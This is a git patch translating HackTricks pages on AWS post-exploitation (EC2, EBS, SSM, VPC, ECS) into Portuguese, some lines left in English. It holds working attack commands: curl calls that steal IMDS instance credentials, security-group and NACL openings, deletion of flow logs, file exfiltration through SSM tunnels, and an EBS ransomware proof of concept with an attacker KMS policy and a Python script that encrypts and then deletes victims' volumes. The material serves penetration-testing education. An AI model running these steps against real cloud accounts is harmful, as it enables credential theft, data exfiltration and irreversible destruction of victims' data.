From 958bdcbe82e987edc54c3b8f71b81716b1efbfbf Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 14:32:15 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 152 +++++++++++------- .../aws-ecs-post-exploitation/README.md | 50 +++--- 2 files changed, 125 insertions(+), 77 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index a6c2b1613..97b9463ee 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - EC2, EBS, SSM & VPC Pós-exploração +# AWS - EC2, EBS, SSM & VPC Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -Para mais informações, consulte: +Para mais informações consulte: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,18 +12,18 @@ Para mais informações, consulte: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplica o tráfego de entrada e saída das instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias.\ +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um network intrusion detection system (IDS) para análise e monitoramento. Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele: -Para mais informações, veja esta página: +Para mais informações veja esta página: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copiar Instância em Execução +### Copy Running Instance -As instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar nelas (ver [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e iniciar uma nova instância (mesmo na sua própria conta) a partir dela:** +Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessá-las (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra maneira de verificar o que elas contêm é **criar um AMI e executar uma nova instância (mesmo na sua própria conta) a partir dele**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots são backups de volumes**, que geralmente conterão **informação sensível**, portanto verificá-los deve revelar essa informação.\ -Se você encontrar um **volume without a snapshot** você poderia: **Create a snapshot** e executar as ações a seguir ou simplesmente **montá-lo em uma instance** dentro da conta: +**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto verificá-los deve revelar essas informações.\ +Se encontrar um **volume sem snapshot** você poderia: **Criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco bruta sem snapshot sharing. Isto permite forense offline completa ou data theft enquanto mantém a rede da instance intacta. +Exporte uma EC2 AMI diretamente para o S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem compartilhamento de snapshot. Isso permite forense offline completa ou roubo de dados enquanto mantém a rede da instância inalterada. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Anexe um volume io1/io2 Multi-Attach a uma segunda instance e monte-o em modo somente leitura para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ. +Anexe um volume io1/io2 Multi-Attach a uma segunda instância e monte-o em modo somente leitura para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instances privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas. +Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instâncias privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras SG vinculadas a endereços específicos. +Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassocie um Elastic IP da instance vítima para o atacante para interceptar tráfego inbound ou originar conexões outbound que aparentem vir de IPs públicos confiáveis. +Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que parecem vir de IPs públicos confiáveis. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Se uma regra de security group referenciar uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso através de todas as regras SG dependentes sem modificar o SG em si. +Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso por todas as regras de SG dependentes sem modificar o SG em si. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Crie gateway ou interface VPC endpoints para recuperar acesso outbound de subnets isoladas. Aproveitar AWS-managed private links contorna controles IGW/NAT ausentes para exfiltração de dados. +Crie gateway ou interface VPC endpoints para recuperar acesso de saída de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles IGW/NAT ausentes para exfiltração de dados. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras inbound a security groups (por exemplo, permitindo tcp:80 from 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas. +Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras de entrada a security groups (por exemplo, permitindo tcp:80 de 0.0.0.0/0), expondo assim serviços internos para a Internet pública ou para redes não autorizadas. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de uma subnet para torná-los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, NACLs são aplicados no nível da subnet, então mudar um NACL restritivo pode ter um blast radius muito maior ao habilitar acesso a muitos mais hosts. +Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de um subnet para torná‑los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo do subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível do subnet, então alterar um NACL restritivo pode ter um raio de impacto muito maior, permitindo o acesso a muito mais hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos e configurações críticas da infraestrutura — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, grupos de segurança ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses. +Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos e configurações de infraestrutura críticas — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses. One example is deleting a security group: @@ -140,7 +140,7 @@ aws ec2 delete-security-group \ ### VPC Flow Logs Cross-Account Exfiltration -Aponte VPC Flow Logs para um S3 bucket controlado pelo atacante para coletar continuamente metadados de rede (origem/destino, portas) fora da conta da vítima para reconhecimento de longo prazo. +Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (source/destination, ports) fora da conta da vítima para reconhecimento de longo prazo. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,32 +150,70 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Mesmo se você bloquear um EC2 para que nenhum tráfego saia, ele ainda pode **exfil via DNS**. +Mesmo que você bloqueie um EC2 para que nenhum tráfego possa sair, ele ainda pode **exfil via DNS**. -- **VPC Flow Logs will not record this**. -- Você não tem acesso aos logs DNS da AWS. -- Desative isso definindo "enableDnsSupport" para false com: +- **VPC Flow Logs não registrarão isso**. +- Você não tem acesso aos DNS logs da AWS. +- Desative isso definindo "enableDnsSupport" como false com: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Um atacante pode chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail. +Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail. -### Abrir grupo de segurança +### Open Security Group -Você pode obter mais acesso a serviços de rede abrindo portas assim: +Você pode obter acesso adicional a serviços de rede abrindo portas assim: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc para ECS +### Privesc to ECS -É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e depois roubar os dados das instâncias ECS. +É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e então roubar os dados das instâncias ECS. -Para [**mais informações, consulte isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remover VPC flow logs +### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation + +Um comprometimento dentro de qualquer ECS task rodando em uma EC2 container instance normalmente é suficiente para pivotar para o papel do host e para os IAM roles associados a todas as outras tasks naquele node. Como não há isolamento de tarefas para ECS-on-EC2, toda task pode consultar o EC2 Instance Metadata Service (IMDS) por padrão, roubar o container instance profile e então falar o mesmo protocolo WebSocket que o ECS agent usa com o control plane (a primitiva **ECScape**) para requisitar as credenciais de cada task atualmente agendada nesse host. A Latacora documentou esse fluxo na pesquisa ECS-on-EC2 IMDS deles, que o resumo ofensivo a seguir condensa. + +#### Attack chain + +1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. + +```bash +TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +``` +2. **Use the container instance role to impersonate the ECS agent.** Com essas credenciais você pode falar no canal WebSocket não documentado que o ECS agent usa; o control plane confia em você como se fosse o agente real e entrega **todas as credenciais IAM das tasks** para o seu processo. Você agora pode executar tasks com privilégios mais altos localmente, dumpar secrets do ambiente das tasks, ou atualizar services/tasks para redeploy workloads que você possa inspecionar completamente. + +#### IMDS reachability with IMDSv2 + hop limit 1 + +Configurar IMDSv2 com `HttpTokens=required` e `HttpPutResponseHopLimit=1` só bloqueia tasks que vivem atrás de um hop extra (Docker bridge). Outros modos de rede permanecem dentro de um hop do Nitro controller e ainda recebem respostas: + +| ECS network mode | IMDS reachable? | Reason | +| --- | --- | --- | +| `awsvpc` | ✅ | Cada task recebe sua própria ENI que ainda está a um hop do IMDS, então tokens e respostas de metadata chegam com sucesso. | +| `host` | ✅ | As tasks compartilham o namespace do host, portanto veem a mesma distância de hop que a instância EC2. | +| `bridge` | ❌ | As respostas morrem na Docker bridge porque esse hop extra esgota o limite de hops. | + +Portanto, **nunca presuma que hop limit 1 protege workloads em awsvpc ou host-mode** — sempre teste de dentro dos seus containers. + +#### Detecting IMDS blocks per network mode + +- **awsvpc tasks:** Security groups, NACLs, ou ajustes de roteamento não podem bloquear o endereço link-local 169.254.169.254 porque o Nitro injeta ele no host. Verifique `/etc/ecs/ecs.config` por `ECS_AWSVPC_BLOCK_IMDS=true`. Se a flag estiver ausente (padrão) você pode curl IMDS diretamente da task. Se estiver setada, pivoteie para o namespace do host/agent para reverter ou execute suas ferramentas fora do awsvpc. + +- **bridge mode:** Quando requisições de metadata falham mesmo com hop limit 1 configurado, os defensores provavelmente inseriram uma regra DROP em `DOCKER-USER` como `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listar `iptables -S DOCKER-USER` expõe isso, e acesso root permite deletar ou reordenar a regra antes de consultar o IMDS. + +- **host mode:** Inspecione a configuração do agent por `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Essa configuração remove os IAM roles das tasks inteiramente, então você deve ou reabilitá-la, mover para tasks awsvpc, ou roubar credenciais através de outro processo no host. Quando o valor é `true` (padrão), todo processo em host-mode — incluindo containers comprometidos — pode acessar o IMDS a menos que filtros bespoke de eBPF/cgroup bloqueiem `169.254.169.254`; procure por programas tc/eBPF ou regras iptables referenciando esse endereço. + +A Latacora até lançou código de validação Terraform (https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que você pode rodar em uma conta alvo para enumerar quais modos de rede ainda expõem metadata e planejar seu próximo salto em conformidade. + +Uma vez que você entenda quais modos expõem o IMDS, pode planejar sua rota pós-exploração: mire em qualquer ECS task, solicite o instance profile, transforme-se no agent, e colha o role de todas as outras tasks para movimento lateral ou persistência dentro do cluster. + +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -185,10 +223,10 @@ Permissões necessárias: - `ssm:StartSession` -Além da execução de comandos, o SSM permite traffic tunneling, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs. -Um dos cenários em que isto é útil é pivoting a partir de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um EKS cluster privado. +Além da execução de comandos, o SSM permite tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs. +Um dos cenários em que isso é útil é pivotar de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado. -> Para iniciar uma sessão você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Para iniciar uma sessão, é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Instale o SessionManagerPlugin na sua máquina 2. Faça login no Bastion EC2 usando o seguinte comando: @@ -201,48 +239,48 @@ aws ssm start-session --target "$INSTANCE_ID" ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost` +6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost` 7. Crie um túnel SSM da seguinte forma: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando: +8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify ` (ou seu equivalente em K8s audit tools). Como o tráfego é tunelado através do túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataques MitM. +Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify ` (ou seu equivalente em ferramentas de auditoria K8s). Visto que o tráfego é tunelado através do túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataque MitM. -Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para pivot para qualquer outro serviço AWS ou uma aplicação customizada. +Por fim, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para redirecionar (pivot) para qualquer outro serviço AWS ou uma aplicação personalizada. --- -#### Encaminhamento Rápido Local ↔️ Remoto de Porta (AWS-StartPortForwardingSession) +#### Encaminhamento Rápido Local ↔️ Remoto Port Forward (AWS-StartPortForwardingSession) -Se você só precisa encaminhar **uma porta TCP do EC2 instance para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (no remote host parameter required): +Se você só precisa encaminhar **uma porta TCP do EC2 para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir nenhuma regra de Security-Group de entrada**. +O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instance **without opening any inbound Security-Group rules**. Common use cases: * **File exfiltration** -1. Na instância, inicie rapidamente um servidor HTTP que aponte para o diretório que você quer exfiltrate: +1. Na instance, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate: ```bash python3 -m http.server 8000 ``` -2. A partir da sua workstation, recupere os arquivos através do túnel SSM: +2. Da sua workstation, recupere os arquivos através do SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Accessing internal web applications (e.g. Nessus)** +* **Acessando aplicações web internas (por exemplo Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Dica: Compress e encrypt as evidências antes de exfiltrating-as, para que CloudTrail não registre o conteúdo em clear-text: +Dica: Compress and encrypt evidence antes de exfiltrating it para que o CloudTrail não registre o conteúdo em clear-text: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -261,7 +299,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Pesquisar informações sensíveis em AMIs públicas e privadas -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **pesquisar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e procurar por possíveis segredos ou dados sensíveis. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs-alvo, montar seus volumes e escanear em busca de possíveis segredos ou dados sensíveis. ### Compartilhar EBS Snapshot ```bash @@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deveria ser renomeado para RMS (Ransomware Management Service), dada a facilidade de usá-lo para criptografar vários serviços AWS. +Uma prova de conceito semelhante à demonstração de Ransomware mostrada nas notas de post-exploitation do S3. O KMS deveria ser renomeado para RMS (Ransomware Management Service) dada a facilidade de usá-lo para criptografar vários serviços da AWS. -Primeiro, a partir de uma conta AWS 'attacker', crie uma customer managed key no KMS. Neste exemplo vamos simplesmente deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de política que permite acesso total chama-se 'Outside Encryption' +Primeiro, a partir de uma conta AWS de 'attacker', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo vamos deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer Principal de conta AWS use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra da policy que permite todo o acesso é chamada 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -363,7 +401,7 @@ Primeiro, a partir de uma conta AWS 'attacker', crie uma customer managed key no ] } ``` -A regra da key policy precisa das seguintes permissões habilitadas para permitir o uso dela para criptografar um volume EBS: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -371,21 +409,21 @@ A regra da key policy precisa das seguintes permissões habilitadas para permiti - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Agora com a key publicamente acessível para uso. Podemos usar uma conta 'vítima' que tem algumas instâncias EC2 rodando com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o alvo para criptografia; este ataque é realizado sob o pressuposto de comprometimento de uma conta AWS de alto privilégio. +Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Semelhante ao exemplo de ransomware em S3. Esse ataque irá criar cópias dos volumes EBS anexados usando snapshots, usar a key publicamente disponível da conta 'atacante' para criptografar os novos volumes EBS, então desanexar os volumes EBS originais das instâncias EC2 e deletá-los, e então finalmente deletar os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Semelhante ao exemplo de ransomware em S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a key publicamente disponível da conta 'attacker' para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e então por fim excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Isso resulta em apenas volumes EBS criptografados restantes disponíveis na conta. +Isso resulta em apenas volumes EBS criptografados disponíveis na conta. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Também vale notar que o script interrompeu as instâncias EC2 para desanexar e deletar os volumes EBS originais. Os volumes originais não criptografados foram removidos. +Também vale notar que o script parou as instâncias EC2 para desanexar e deletar os volumes EBS originais. Os volumes originais não criptografados foram removidos. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Em seguida, volte para a key policy na conta 'atacante' e remova a regra de policy 'Outside Encryption' da key policy. +Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. ```json { "Version": "2012-10-17", @@ -456,15 +494,15 @@ Em seguida, volte para a key policy na conta 'atacante' e remova a regra de poli ] } ``` -Aguarde um momento para a nova política da chave propagar. Em seguida, retorne à conta 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você verá que consegue anexar o volume. +Aguarde um momento para que a nova key policy se propague. Em seguida, volte para a conta 'victim' e tente anexar um dos volumes EBS recém-criptografados. Você verá que consegue anexar o volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Mas quando você tenta, de fato, iniciar a instância EC2 com o volume EBS criptografado ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política da chave não permite mais. +Mas quando você tentar realmente iniciar a instância EC2 com o volume EBS criptografado, isso falhará e a instância passará do estado 'pending' de volta para o estado 'stopped' para sempre, já que o volume EBS anexado não pode ser descriptografado usando a key porque a key policy não permite mais. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este é o script python usado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN público da AWS para a key a ser usada na criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então irá parar cada instância EC2, desanexar os volumes EBS originais, deletá-los e, finalmente, deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E IRÁ DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao estado original via snapshots, mas apenas quero deixar claro que isto é um ransomware PoC, no fim das contas. +Este é o python script usado. Ele recebe AWS creds para uma conta 'victim' e um valor ARN público do AWS para a key que será usada para a criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, por fim, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E IRÁ EXCLUIR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas queria apenas avisar que, no fim das contas, isto é um ransomware PoC. ``` import boto3 import argparse @@ -583,6 +621,8 @@ main() ``` ## Referências +- [Latacora - ECS on EC2: Cobrindo lacunas no hardening do IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) - [Pentest Partners – Como transferir arquivos na AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md index 706899136..14d7eb81a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -4,41 +4,41 @@ ## ECS -Para mais informações confira: +Para mais informações veja: {{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}} -### IAM Roles do Host +### Host IAM Roles -Em ECS um **IAM role pode ser atribuído à task** executada dentro do container. **Se** a task for executada dentro de uma instância **EC2**, a **instância EC2** terá **outro IAM** role anexado a ela.\ -O que significa que se você conseguir **comprometer** uma instância ECS você pode potencialmente **obter o IAM role associado ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais confira: +In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ 